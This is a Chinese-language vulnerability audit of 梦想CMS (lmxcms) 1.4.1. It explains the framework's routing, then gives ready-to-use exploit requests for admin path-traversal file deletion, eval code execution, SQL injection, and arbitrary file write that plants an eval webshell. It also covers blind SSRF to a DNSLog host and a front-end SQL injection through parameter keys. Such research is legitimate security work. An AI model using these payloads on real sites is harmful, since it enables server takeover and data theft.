梦想CMS漏洞合集
环境说明
- 梦想CMS 1.4.1
- PHP 5.6.9
- mysql 5.7.26
- firefox(这里用chrome加载不了后台页面,难道是版本太老了)
框架运行逻辑
经典MVC架构,从入口文件开始找,然后去看控制器是如何接收参数调用函数即可。
入口文件
- index.php
RUN_TYPE用来获取模板路径,前台是index,后台是admin
config.inc.php是配置文件
run.inc.php是正式开始的地方
- run.inc.php
这cms注释特别清晰,可以看到if选择使用什么模板,然后将模板路径存放到config数组
包含一些公用的库
spl_autoload_register
函数作用是new
一个类如果没有找到就会触发指定的函数,这里就是requireClassName
函数
new找不到类就会触发requireClassName函数,接下来会去找这个类文件,找到了就包含,没找到就触发_404
函数
上面这段是伪静态,可以先不用看
下面就是入口
如果一个三元表达式,如果没有拓展$extendEnt=Action
获取m参数,首字母大写
拼接$m.$extendEnt
,class_exists
查看是否存在这个类,如果没有这个类m默认为index
下面实例化这个类,调用类内run
方法
前台控制器
- IndexAction.class.php
类中没有run
方法,构造函数调用父类构造函数,查看父类
- HomeAction.class.php
这个类依然没有run
方法,再次调用父类构造函数
- /class/Action.class.php
这个是控制器基类,从GET方法获取a参数的值,然后检查该方法是否存在,存在则调用该方法,否则调用index
方法。
小结
看到这里,基本可以得出该框架是如何处理请求的
# 前台
http://127.0.0.1/index.php?m=类前缀&a=类内方法
# 后台
http://127.0.0.1/admin.php?m=类前缀&a=类内方法
下面就开始漏洞审计。
后台任意文件删除
漏洞位置:./c/admin/BackdbAction.class.php
直接看到最后的delOne
方法:
可以看到传入的$filename
参数直接拼接在路径后面,然后调用file::unLink
方法:
file::unLink
方法检查如果不是框架的根目录就直接删除该文件,所以如果我们能控制该$filename
参数就可以实现任意文件删除。同时,这个delOne
方法是个私有方法,看一下那里调用了该方法,并且参数要可控:
delbackdb
方法:
这里从GET方法获取$filename
参数就直接调用delOne
删除该文件。
由于路径在$dir = ROOT_PATH.'file/back/'.$filename
所以要往上走两次。
EXP:
http://127.0.0.1/admin.php?m=Backdb&a=delbackdb&filename=../../t.txt
delmorebackdb
方法
另外一个调用了delOne
方法的地方是delmorebackdb
方法,这里也是大同小异,用POST方法传个filename数组即可。
POST /lmxcms1.4/admin.php?m=Backdb&a=delmorebackdb
filename%5B0%5D=..%2F..%2Ft.txt&filename%5B1%5D=..%2F..%2Fe.txt
重装GetShell漏洞
使用任意文件删除漏洞删除install_ok.txt可以重装CMS
后台任意文件上传
基本设置->文件设置
在后台允许上传图片类型加上php就可以上传php文件
后台代码执行
漏洞位置:./c/admin/AcquisiAction.class.php
直接搜eval
方法,找到showCjData
方法:
这里可以看到,用eval
方法实现对$data
变量的赋值,赋值的语句是拼接$temdata['data']
这个变量的,看一下$temdata
是如何取值的,跟进$this->model->caijiDataOne($_GET['cid'])
:
根据注释说明是根据从GET方法传递的cid参数获取一条数据,跟进parent::oneModel($param)
:
这里调用parent::oneDB()
:
最后这里是从数据库中根据id获取数据返回一个数组包含了该条数据的所有字段值。
只要在数据库中插入一条数据,data字段的值为1;phpinfo();//
:
查询出来的数据拼接到eval中就为eval('$data=1;phpinfo();//;')
后台sql注入
漏洞位置:./c/admin/AcquisiAction.class.php
分析上一个代码执行漏洞的时候是否有发现最后数据库查询的oneDB
方法里面的sql语句是直接拼接后执行的,显然有sql注入的问题,还是利用上一个请求的URL,构造报错注入语句:
http://localhost/admin.php?m=Acquisi&a=showCjData&id=1&lid=1&cid=1 union select updatexml(1,concat(0x7e,(select @@version),0x7e),1)
在showCjData
方法的$this->model->caijiDataOne($_GET['cid'])
处打下断点:
可以看到这从GET方法取到的cid为1 union select updatexml(1,concat(0x7e,(select @@version),0x7e),1)
,到caijiDataOne
方法:
这里也没有对内容进行检查,只是将id构造为数组,到oneModel
方法:
依然没有检查过滤,最后到oneDB
方法:
这里对传进去的数组进行解析,构造成where条件语句,可以看到生成的$sql
查询语句为:SELECT * FROM lmx_cj_data WHERE id=1 union select updatexml(1,concat(0x7e,(select @@version),0x7e),1) limit 1
,输出:
后台任意文件写入
漏洞位置:TemplateAction.class.php
找到edfile
方法:
定位到:file::put($this->config['template'].$dir.'/'.$_POST['filename'],string::stripslashes($_POST['temcontent']));
,这里调用了file类的put
方法:
put
方法直接使用file_put_content
方法写文件,这里的文件名和文件内容都可控,造成任意文件写入
EXP:
POST /admin.php?m=Template&a=editfile&dir=../
filename=shell.php&temcontent=<?php eval($_POST['pass']);&settemcontent=1
成功将一句话写入框架的根目录。
后台无回显ssrf漏洞
漏洞位置:/c/admin/AcquisiAction.class.php
找到testListContentUrl
方法:
从GET方法获取listurl参数然后解析,返回协议加域名字符串,定位到$caiji->getContentUrl($listurl,$urlpre,$param);
,跟进去:
此函数内没有任何过滤,走到getContent
函数
这里就是发起一个http的GET方法请求,
后续使用正则表达式去控制回显,但是这里用了个U(非贪婪匹配)参数,导致一个字符都匹配不上,只能是无回显的SSRF了。
EXP:
GET /admin.php?m=Acquisi&a=testListContentUrl&listurl=http://t6n089.ceye.io
DNSLog收到请求。
尝试连接3306开放的端口会显示报错
端口未开放会显示连接失败:
前台sql二次注入
前面那些都是后台的漏洞,需要管理员密码才能利用,危害不是很广,这里前台的漏洞就十分危险了。
漏洞位置:c/index/BookAction.class.php
这里是个留言板
找到index
方法:
这里POST方法传setbook参数的时候就是提交留言,会进到checkData
方法中:
定位到$_POST = filter_strs($_POST);
:
这里对POST方法传的参数值进行url解码,以及去掉php和html标签,还有%
后返回数据,然后渠道下一个$data = p(1,1,1);
:
这里就如注释所说,验证数据是否合法,主要是filter_sql($data)
方法:
可以看到,这里过滤了包括select在内的一些关键字。
回到checkData
方法,后续就是检测data数组中是否有name和content参数,以及过滤其中的html代码,防止xss。
再回到index
方法,checkData
方法完成后下一步调用$this->bookModel->add($data)
:
继续跟进addModel($data)
:
最终跑到addDB
方法:
这里是用拼接的方法构造INSERT语句,由上面的分析可知,checkData
已经对传入参数的值做了比较完善的过滤,所以从值难以进行注入;但是,checkData
并没有对传入参数的键进行检查,但是后续又用了键拼接进sql语句中,这样就让sql注入有利可图了。
先进行一次正常的添加留言,看看正常的语句是长什么样的:
POST /index.php?m=Book&a=index
setbook=1&name=1&content=1
可以看到,正常语句为:
INSERT INTO lmx_book(name,content,mail,tel,ip,time) VALUES('1','1','','','127.0.0.1','1650979237')
此时,我们注入点就是表中的字段名那里,构造:
POST /index.php?m=Book&a=index
setbook=1&name=1&content=1&time,ischeck)VALUES(version(),'1','','','127.0.0.1','1650976406','1')#=1
经过拼接之后的查询语句为:
INSERT INTO lmx_book(name,content,mail,tel,ip,time,ischeck)VALUES(version(),'1','','','127_0_0_1','1650976406','1')#,time) VALUES('1','1','','','127.0.0.1','1','1650980055')
这样一来就把version()
执行的结果插入到lmx_book的name字段中了。
回到index
方法:
这里会对表中的数据进行查询显示,但是有个判断,就是ischeck的值为1。因此为了插入的数据能够在前端显示出来,在插入的时候要增加一个ischeck字段,使之为1。
回到前端页面能够看到回显的内容:
最后,这里还有个小问题,就是URL传的参数的键不能存在空格和.
号,若存在会自动将其转换为_
,这点可以从上面拼接后的sql语句中看到,127.0.0.1
变成了127_0_0_1
。因此我们想使用select version()
这样去查东西还需要进行个空格绕过,这里用到注释符进行绕过:
POST /index.php?m=Book&a=index
setbook=1&name=1&content=1&time,ischeck)VALUES((select/**/version()),'1','','','127.0.0.1','1650976406','1')#=1
注意查询的语句需要用()
包裹起来。